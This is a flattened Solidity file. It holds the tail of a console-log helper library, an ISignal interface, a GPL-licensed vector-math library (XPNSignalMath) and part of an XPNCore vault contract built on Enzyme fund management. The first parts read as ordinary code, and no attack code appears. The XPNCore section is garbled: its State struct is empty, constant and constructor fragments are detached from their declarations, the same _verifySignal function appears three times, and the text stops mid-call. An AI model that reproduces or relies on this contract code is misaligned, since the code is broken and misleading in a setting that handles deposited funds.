_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
pragma solidity 0.8.0;
interface ISignal {
function registerSignal(
string memory,
string memory,
string[] memory
) external returns (string memory);
function withdrawSignal(string memory) external;
function submitSignal(
string memory,
string[] memory,
int256[] memory,
bytes calldata
) external;
function updateSignal(string memory) external;
function getSignal(string memory) external view returns (int256[] memory);
function getSignalSymbols(string memory)
external
view
returns (string[] memory);
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
library XPNSignalMath {
/*
* assume solidity 0.8.0 over/under flow check
* will mainly use L1 space aka taxicab geometry
*/
int256 public constant ONE = 1e18;
// @notice normalize array
// @param x array
// @return scaled array x with size = ONE
function normalize(int256[] memory x)
internal
pure
returns (int256[] memory out_array)
{
out_array = new int256[](x.length);
int256 size = l1Norm(x);
if (size == 0) {
return x;
}
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = (x[i] * ONE) / (size);
}
}
// @notice element wise addition
// @param x array
// @param y array
// @return int256 array of x elementwise add by y
function elementWiseAdd(int256[] memory x, int256[] memory y)
internal
pure
returns (int256[] memory out_array)
{
require(x.length == y.length, "XPNSignalMath: array size mismatch");
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = (x[i] + y[i]);
}
}
// @notice element wise subtraction
// @param x array
// @param y array
// @return int256 array of x elementwise subtract by y
function elementWiseSub(int256[] memory x, int256[] memory y)
internal
pure
returns (int256[] memory out_array)
{
require(x.length == y.length, "XPNSignalMath: array size mismatch");
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = (x[i] - y[i]);
}
}
// @notice element wise multipication
// @param x array
// @param y array
// @return int256 array of x elementwise multiply by y
function elementWiseMul(int256[] memory x, int256[] memory y)
internal
pure
returns (int256[] memory out_array)
{
require(x.length == y.length, "XPNSignalMath: array size mismatch");
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = ((x[i] * y[i]) / ONE);
}
}
// @notice element wise division
// @param x array
// @param y array
// @return int256 array of x elementwise divided by y
function elementWiseDiv(int256[] memory x, int256[] memory y)
internal
pure
returns (int256[] memory out_array)
{
require(x.length == y.length, "XPNSignalMath: array size mismatch");
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = ((x[i] * ONE) / y[i]);
}
}
// @notice abs of vector
// @param x int256 array input
// @return int256 array abs of vector x
function vectorAbs(int256[] memory x)
internal
pure
returns (int256[] memory out_array)
{
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = abs(x[i]);
}
}
// @notice scale vector x by a factor
// @param x int256 array input
// @param scaleFactor int256 scale factor
// @return x scaled by scaleFactor
function vectorScale(int256[] memory x, int256 scaleFactor)
internal
pure
returns (int256[] memory out_array)
{
out_array = new int256[](x.length);
for (uint256 i = 0; i < x.length; i++) {
out_array[i] = (x[i] * scaleFactor) / ONE;
}
}
// @notice abs
// @param x int256 input
// @return abs x
function abs(int256 x) internal pure returns (int256) {
/*
abslute value of input
*/
return x >= 0 ? x : -x;
}
// @notice sum all element
// @param x int256 input array
// @return sum of elements in x
function sum(int256[] memory x) internal pure returns (int256 output) {
output = 0;
for (uint256 i = 0; i < x.length; i++) {
output = output + x[i];
}
}
// @notice L1 norm of vector.
function l1Norm(int256[] memory x) internal pure returns (int256 output) {
output = sum(vectorAbs(x));
}
}
| @title core contract for XPN @notice responsible for the global state of the entire contract and external interactions @dev overrides all functional _hooks and lazy-hydrate state to downstream functional contracts, | contract XPNCore is Pausable, XPNVault, XPNSettlement, XPNPortfolio {
using SafeERC20 for IERC20;
int256 constant chainlinkONE = 1e8;
struct State {
}
int256 expectedEfficiency;
bytes4(keccak256("takeOrder(address,bytes,bytes)"));
bytes4(keccak256("lend(address,bytes,bytes)"));
bytes4(keccak256("redeem(address,bytes,bytes)"));
bool public restricted;
mapping(address => bool) internal walletWhitelist;
mapping(address => bool) internal venueWhitelist;
mapping(address => bool) internal assetWhitelist;
mapping(string => address) public symbolToAsset;
mapping(address => address) public assetToPriceFeed;
event SetRestricted(bool toggle);
event WalletWhitelisted(address wallet);
event WalletDeWhitelisted(address wallet);
event VenueWhitelisted(address venue);
event VenueDeWhitelisted(address venue);
event AssetWhitelisted(address asset);
event AssetDeWhitelisted(address asset);
event AssetConfigAdded(string symbol, address asset, address feed);
event AssetConfigRemoved(string symbol);
event NewSignal(address signal);
event MigrationCreated(State postMigrationState);
event MigrationSignaled();
event MigrationExecuted();
State memory _constructorConfig,
string memory _tokenName,
string memory _symbol
State internal globalState;
State private postMigrationState;
bytes4 constant TAKE_ORDER_SELECTOR =
bytes4 constant LEND_ORDER_SELECTOR =
bytes4 constant REDEEM_ORDER_SELECTOR =
uint256 constant SHARES_TIMELOCK = 0;
uint256 constant DEFI_INTEGRATION = 0;
constructor(
) XPNPortfolio() XPNVault(_tokenName, _symbol) XPNSettlement() {
globalState = _constructorConfig;
(globalState.EZcomptroller, globalState.EZshares) = IFundDeployer(
globalState.EZdeployer
).createNewFund(
);
XPNUtils.enforceSoleEnzymeDepositor(
globalState.EZcomptroller,
globalState.EZpolicy,
globalState.EZwhitelistPolicy
);
expectedEfficiency = 98e16;
}
function _setRestricted(bool _toggle) internal {
restricted = _toggle;
emit SetRestricted(_toggle);
}
function _addAssetConfig(
string memory _symbol,
address _token,
address _feed
) internal {
symbolToAsset[_symbol] = _token;
assetToPriceFeed[_token] = _feed;
emit AssetConfigAdded(_symbol, _token, _feed);
}
function _removeAssetConfig(string memory _symbol) internal {
address prevAddress = symbolToAsset[_symbol];
symbolToAsset[_symbol] = address(0);
assetToPriceFeed[prevAddress] = address(0);
emit AssetConfigRemoved(_symbol);
}
function _swapSignal(address _signal, string memory _name) internal {
_verifySignal(_signal, _name);
globalState.signal = _signal;
_setSignal(_signal, _name);
emit NewSignal(_signal);
}
function _whitelistWallet(address _wallet) internal {
walletWhitelist[_wallet] = true;
emit WalletWhitelisted(_wallet);
}
function _deWhitelistWallet(address _wallet) internal {
walletWhitelist[_wallet] = false;
emit WalletDeWhitelisted(_wallet);
}
function _whitelistVenue(address _venue) internal {
venueWhitelist[_venue] = true;
emit VenueWhitelisted(_venue);
}
function _deWhitelistVenue(address _venue) internal {
venueWhitelist[_venue] = false;
emit VenueDeWhitelisted(_venue);
}
function _whitelistAsset(address _asset) internal {
assetWhitelist[_asset] = true;
emit AssetWhitelisted(_asset);
}
function _deWhitelistAsset(address _asset) internal {
assetWhitelist[_asset] = false;
emit AssetDeWhitelisted(_asset);
}
function _settleTrade(bytes[] calldata _trades, address[] memory _venues)
internal
returns (bool)
{
return _submitTradeOrders(_trades, _venues);
}
function _settlePool(
bytes[] calldata _orders,
Pool[] calldata _txTypes,
address[] memory _venues
) internal returns (bool) {
return _submitPoolOrders(_orders, _txTypes, _venues);
}
function _verifySignal(address _signal, string memory _signalName)
internal
view
{
string[] memory symbols = ISignal(_signal).getSignalSymbols(
_signalName
);
for (uint256 i; i < symbols.length; i++) {
string memory symbol = symbols[i];
if (XPNUtils.compareStrings(symbol, _getDenomAssetSymbol())) {
continue;
}
require(
symbolToAsset[symbol] != address(0),
"XPNCore: token symbol is not registered"
);
require(
assetWhitelist[symbolToAsset[symbol]],
"XPNCore: token is not whitelisted"
);
}
}
function _verifySignal(address _signal, string memory _signalName)
internal
view
{
string[] memory symbols = ISignal(_signal).getSignalSymbols(
_signalName
);
for (uint256 i; i < symbols.length; i++) {
string memory symbol = symbols[i];
if (XPNUtils.compareStrings(symbol, _getDenomAssetSymbol())) {
continue;
}
require(
symbolToAsset[symbol] != address(0),
"XPNCore: token symbol is not registered"
);
require(
assetWhitelist[symbolToAsset[symbol]],
"XPNCore: token is not whitelisted"
);
}
}
function _verifySignal(address _signal, string memory _signalName)
internal
view
{
string[] memory symbols = ISignal(_signal).getSignalSymbols(
_signalName
);
for (uint256 i; i < symbols.length; i++) {
string memory symbol = symbols[i];
if (XPNUtils.compareStrings(symbol, _getDenomAssetSymbol())) {
continue;
}
require(
symbolToAsset[symbol] != address(0),
"XPNCore: token symbol is not registered"
);
require(
assetWhitelist[symbolToAsset[symbol]],
"XPNCore: token is not whitelisted"
);
}
}
function _addTrackedAsset(address _asset) internal {
XPNUtils.addEnzymeTrackedAsset(
globalState.EZcomptroller,
globalState.EZintegrationManager,
_asset
);
}
function _removeTrackedAsset(address _asset) internal {
XPNUtils.removeEnzymeTrackedAsset(
globalState.EZcomptroller,
globalState.EZintegrationManager,
_asset
);
}
function _getTokenPrice(address _asset)
internal
view
override
returns (int256)
{
return XPNUtils.parseChainlinkPrice(assetToPriceFeed[_asset]);
}
function _getVaultAddress() internal view override returns (address) {
return globalState.EZshares;
}
function _getSymbolToToken(string memory _symbol)
internal
view
override
returns (address)
{
return symbolToAsset[_symbol];
}
function _getDenomAssetAddress() internal view override returns (address) {
return globalState.denomAssetAddress;
}
function _getDenomAssetSymbol()
internal
view
override
returns (string memory)
{
return globalState.denomAssetSymbol;
}
function _depositHook(uint256 _amount)
internal
override
whenNotPaused
returns (uint256)
{
IERC20(globalState.denomAssetAddress).safeApprove(
address(globalState.EZcomptroller),
_amount
);
return XPNUtils.buyEnzymeShares(globalState.EZcomptroller, _amount);
}
function _withdrawHook(uint256 _amount)
internal
override
returns (address[] memory, uint256[] memory)
{
return XPNUtils.redeemEnzymeShares(globalState.EZcomptroller, _amount);
}
function _venueIsWhitelisted(address _venue)
internal
view
override
returns (bool)
{
return venueWhitelist[_venue];
}
function _submitTrade(bytes calldata _trade, address _venue)
internal
override
returns (bool successfulTrade)
{
bytes memory callargs = abi.encode(_venue, TAKE_ORDER_SELECTOR, _trade);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
callargs
);
return true;
}
function _submitLending(bytes calldata _lending, address _venue)
internal
override
returns (bool)
{
bytes memory callargs = abi.encode(
_venue,
LEND_ORDER_SELECTOR,
_lending
);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
callargs
);
return true;
}
function _submitRedemption(bytes calldata _redemption, address _venue)
internal
override
returns (bool)
{
bytes memory callargs = abi.encode(
_venue,
REDEEM_ORDER_SELECTOR,
_redemption
);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
callargs
);
return true;
}
function _redeemFeesHook(address _feeManager, address[] memory _fees)
internal
override
{
XPNUtils.invokeAndPayoutEnzymeFees(
globalState.EZcomptroller,
_feeManager,
_fees
);
}
function _createMigration(State memory _newState) internal {
postMigrationState = _newState;
address newComptrollerProxy = IFundDeployer(
postMigrationState.EZdeployer
).createMigratedFundConfig(
""
);
(postMigrationState.EZcomptroller, postMigrationState.EZshares) = (
newComptrollerProxy,
globalState.EZshares
);
emit MigrationCreated(_newState);
}
function _signalMigration() internal {
_pause();
IFundDeployer(postMigrationState.EZdeployer).signalMigration(
globalState.EZshares,
postMigrationState.EZcomptroller
);
emit MigrationSignaled();
}
function _executeMigration() internal {
IFundDeployer(postMigrationState.EZdeployer).executeMigration(
globalState.EZshares
);
globalState = postMigrationState;
XPNUtils.enforceSoleEnzymeDepositor(
postMigrationState.EZcomptroller,
postMigrationState.EZpolicy,
